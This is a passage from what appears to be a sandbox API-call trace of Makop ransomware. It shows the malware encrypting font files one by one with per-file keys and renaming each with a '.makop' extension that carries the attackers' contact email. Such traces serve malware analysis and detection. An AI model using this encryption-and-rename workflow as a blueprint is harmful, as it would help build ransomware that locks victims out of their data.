lpNumberOfBytesWritten=0x6576028*=0x7, lpOverlapped=0x0) returned 1 [0102.774] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0102.774] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0102.775] GetProcessHeap () returned 0x48a0000 [0102.775] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0102.775] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30) returned 1 [0102.775] CryptDestroyKey (hKey=0x48c7168) returned 1 [0102.775] WriteFile (in: hFile=0x138, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6576028*=0x30, lpOverlapped=0x0) returned 1 [0102.775] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0102.775] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0102.775] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0102.775] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0102.775] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0102.776] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0102.776] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0102.776] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.776] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0xdc6b9, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xdc6b9, lpOverlapped=0x0) returned 1 [0102.799] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xdc6c0, dwBufLen=0xdc6c0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xdc6c0) returned 1 [0102.811] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.811] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xdc6c0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xdc6c0, lpOverlapped=0x0) returned 1 [0102.818] CryptDestroyKey (hKey=0x48c7168) returned 1 [0102.818] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xdc784, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.818] SetEndOfFile (hFile=0x138) returned 1 [0102.827] GetProcessHeap () returned 0x48a0000 [0102.827] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0102.827] GetProcessHeap () returned 0x48a0000 [0102.827] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0102.827] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0102.827] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\gbcbig.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\gbcbig.shx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0102.828] CloseHandle (hObject=0x138) returned 1 [0102.829] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2656900, ftCreationTime.dwHighDateTime=0x1c2706c, ftLastAccessTime.dwLowDateTime=0x820ca2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2656900, ftLastWriteTime.dwHighDateTime=0x1c2706c, nFileSizeHigh=0x0, nFileSizeLow=0x2b01, dwReserved0=0x0, dwReserved1=0x0, cFileName="IC-TXT.SHX", cAlternateFileName="")) returned 1 [0102.829] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX") returned 76 [0102.829] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\ic-txt.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0102.829] GetProcessHeap () returned 0x48a0000 [0102.829] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0102.829] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0102.830] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0102.830] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xf, lpOverlapped=0x0) returned 1 [0102.835] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0102.835] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0102.835] GetProcessHeap () returned 0x48a0000 [0102.835] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0102.835] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30) returned 1 [0102.835] CryptDestroyKey (hKey=0x48c7168) returned 1 [0102.835] WriteFile (in: hFile=0x138, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6576028*=0x30, lpOverlapped=0x0) returned 1 [0102.835] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0102.835] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0102.835] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0102.836] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0102.836] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0102.836] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0102.836] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0102.836] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.836] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2b01, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x2b01, lpOverlapped=0x0) returned 1 [0102.839] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x2b10, dwBufLen=0x2b10 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x2b10) returned 1 [0102.839] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.839] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2b10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x2b10, lpOverlapped=0x0) returned 1 [0102.840] CryptDestroyKey (hKey=0x48c7168) returned 1 [0102.840] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x2bd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.840] SetEndOfFile (hFile=0x138) returned 1 [0102.846] GetProcessHeap () returned 0x48a0000 [0102.846] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0102.846] GetProcessHeap () returned 0x48a0000 [0102.846] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0102.846] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0102.846] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\ic-txt.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\ic-txt.shx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0102.848] CloseHandle (hObject=0x138) returned 1 [0102.848] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8f60300, ftCreationTime.dwHighDateTime=0x1c324cc, ftLastAccessTime.dwLowDateTime=0x820ca2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc8f60300, ftLastWriteTime.dwHighDateTime=0x1c324cc, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICAD.FMP", cAlternateFileName="")) returned 1 [0102.848] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP") returned 74 [0102.848] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\icad.fmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0102.849] GetProcessHeap () returned 0x48a0000 [0102.849] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0102.850] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0102.850] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0102.850] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xa, lpOverlapped=0x0) returned 1 [0102.853] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0102.853] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0102.854] GetProcessHeap () returned 0x48a0000 [0102.854] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0102.854] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30) returned 1 [0102.854] CryptDestroyKey (hKey=0x48c7168) returned 1 [0102.854] WriteFile (in: hFile=0x138, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6576028*=0x30, lpOverlapped=0x0) returned 1 [0102.854] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0102.854] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0102.854] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0102.854] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0102.855] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0102.855] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0102.855] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0102.855] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.855] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x146, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x146, lpOverlapped=0x0) returned 1 [0102.855] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x150, dwBufLen=0x150 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x150) returned 1 [0102.855] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.855] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x150, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x150, lpOverlapped=0x0) returned 1 [0102.856] CryptDestroyKey (hKey=0x48c7168) returned 1 [0102.856] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x214, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.856] SetEndOfFile (hFile=0x138) returned 1 [0102.862] GetProcessHeap () returned 0x48a0000 [0102.862] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0102.863] GetProcessHeap () returned 0x48a0000 [0102.863] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0102.863] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 121 [0102.863] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\icad.fmp"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\icad.fmp.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0102.872] CloseHandle (hObject=0x138) returned 1 [0102.872] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x853f7be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x369d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHGDTXT.SHX", cAlternateFileName="")) returned 1 [0102.873] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX") returned 77 [0102.873] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgdtxt.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0102.875] GetProcessHeap () returned 0x48a0000 [0102.875] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0102.875] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0102.875] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0102.875] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xd, lpOverlapped=0x0) returned 1 [0102.879] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0102.880] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0102.880] GetProcessHeap () returned 0x48a0000 [0102.880] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0102.880] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0102.880] CryptDestroyKey (hKey=0x48c7168) returned 1 [0102.880] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0102.880] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0102.880] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0102.880] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0102.881] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0102.881] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0102.881] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0102.881] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0102.881] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.881] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x369d3, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x369d3, lpOverlapped=0x0) returned 1 [0102.886] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x369e0, dwBufLen=0x369e0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x369e0) returned 1 [0102.888] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.888] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x369e0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x369e0, lpOverlapped=0x0) returned 1 [0102.890] CryptDestroyKey (hKey=0x48c7168) returned 1 [0102.890] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x36ab4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.890] SetEndOfFile (hFile=0x138) returned 1 [0102.900] GetProcessHeap () returned 0x48a0000 [0102.900] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0102.900] GetProcessHeap () returned 0x48a0000 [0102.900] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0102.900] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0102.900] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgdtxt.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgdtxt.shx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0102.901] CloseHandle (hObject=0x138) returned 1 [0102.902] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x853f7be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x2fde5, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHGTXT.SHX", cAlternateFileName="")) returned 1 [0102.902] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX") returned 76 [0102.902] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgtxt.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0102.905] GetProcessHeap () returned 0x48a0000 [0102.905] RtlAllocateHeap 